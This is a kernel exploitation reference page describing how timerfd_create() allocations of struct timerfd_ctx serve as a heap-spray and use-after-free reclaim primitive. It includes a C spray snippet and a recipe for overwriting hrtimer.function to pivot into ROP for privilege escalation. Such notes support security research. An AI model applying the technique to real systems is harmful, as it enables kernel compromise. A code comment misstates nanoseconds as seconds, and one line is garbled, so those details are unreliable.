timerfd_ctx
timerfd_create()spray (struct timerfd_ctx)
timerfd provides a file-descriptor interface to kernel timers. Calling timerfd_create() causes the kernel to allocate and zero a struct timerfd_ctx. Because this allocation happens on every call and is trivial to trigger repeatedly from userspace, timerfd_create() can be used as a heap-spray primitive when its allocation size matches a vulnerable object’s slab cache.
1. Structure
// fs/timerfd.c
struct timerfd_ctx {
union {
struct hrtimer tmr;
struct alarm alarm;
} t;
ktime_t tintv;
ktime_t moffs;
wait_queue_head_t wqh;
u64 ticks;
int clockid;
short unsigned expired;
short unsigned settime_flags; /* to show in fdinfo */
struct rcu_head rcu;
struct list_head clist;
spinlock_t cancel_lock;
bool might_cancel;
};
`fs/timerfd.c:424` — `SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)`. `SYSCALL_DEFINE2` is a macro, not a plain function — it expands out to the real function that holds this body, `__do_sys_timerfd_create()`, which is what actually calls `kzalloc_obj(*ctx)`.
2. Exploitation
Since size isn’t controllable, timerfd_ctx is a fixed-size groom/overlap primitive, not a variable-size one like msg_msg/setxattr. It’s useful for:
- Heap Grooming — mass-allocate same-size objects to shape a target
kmalloc-Ncache before triggering a bug. - Object Overlap / UAF reclaim — reclaim a freed victim’s slot with a
timerfd_ctx, then usetimerfd_gettime()/timerfd_settime()/read()on that fd to read or write fields at fixed offsets into the reclaimed memory. - Triggering —
read(tfd, &buf, sizeof(uint64_t))on an armed timer touchesctx->ticks/ctx->expired, giving a controlled way to interact with whatever object now backs that memory.
3. Control Flow Hijack
struct hrtimer (include/linux/hrtimer_types.h) sits at offset 0 of timerfd_ctx — it’s the first field of the first field (union t’s tmr member) — so a pointer to the whole heap object is a pointer to this hrtimer:
struct hrtimer {
struct timerqueue_linked_node node;
struct hrtimer_clock_base *base;
bool is_queued;
bool is_rel;
bool is_soft;
bool is_hard;
bool is_lazy;
ktime_t _softexpires;
enum hrtimer_restart (*__private function)(struct hrtimer *);
};
- Using
pahole -C hrtimer vmlinux() this shifts across kernel versions/configs):
Offset from ctx |
Field | Role |
|---|---|---|
hrtimer + 0x00 |
hrtimer.node (first qword of it) |
not a callback — just the first 8 bytes of the object. Repurposed below as a data pointer, not a code pointer. |
hrtimer + 0x48 |
hrtimer.function |
the callback — this is the pointer the kernel actually calls |
-
So overwrite
hrtimer + 0x48with the address of a gadget. The gadget is executed when the timer gets expired. -
Pick a gadget for stack pivoting and perform ROP to escalate privilege.
4. How to?
#include <sys/timerfd.h>
#include <unistd.h>
#define SPRAY_COUNT 0x200
static int timerfds[SPRAY_COUNT];
for (int i = 0; i < SPRAY_COUNT; i++) {
timerfds[i] = timerfd_create(CLOCK_REALTIME, 0);
if (timerfds[i] < 0) {
perror("timerfd_create");
break;
}
}
// overwrite for stack pivoting — see section 3:
// ctx+0x48 (hrtimer.function) -> pivot gadget address, called by __run_hrtimer()
overwrite_pointers_with_uaf();
struct itimerspec its = {
.it_value = { .tv_nsec = 5 }, // setting the timer to 5 seconds
.it_interval = { .tv_nsec = 0 },
};
for (int i = 0; i < SPRAY_COUNT; i++) {
if (timerfd_settime(timerfds[i], 0, &its, NULL) < 0)
perror("timerfd_settime");
}
// cleanup
for (int i = 0; i < SPRAY_COUNT; i++)
if (timerfds[i] >= 0)
close(timerfds[i]); // frees ctx via kfree in timerfd_release()
5. References
fs/timerfd.c—struct timerfd_ctx,SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)at line 424 (expands to__do_sys_timerfd_create(), alloc site),timerfd_release()(free),timerfd_read()/do_timerfd_settime()(interact with the reclaimed object)include/linux/hrtimer_types.h—struct hrtimer(functioncallback field)kernel/time/hrtimer.c—__run_hrtimer()(fn(timer)call site)- Writeup: https://syst3mfailure.io/hotrod/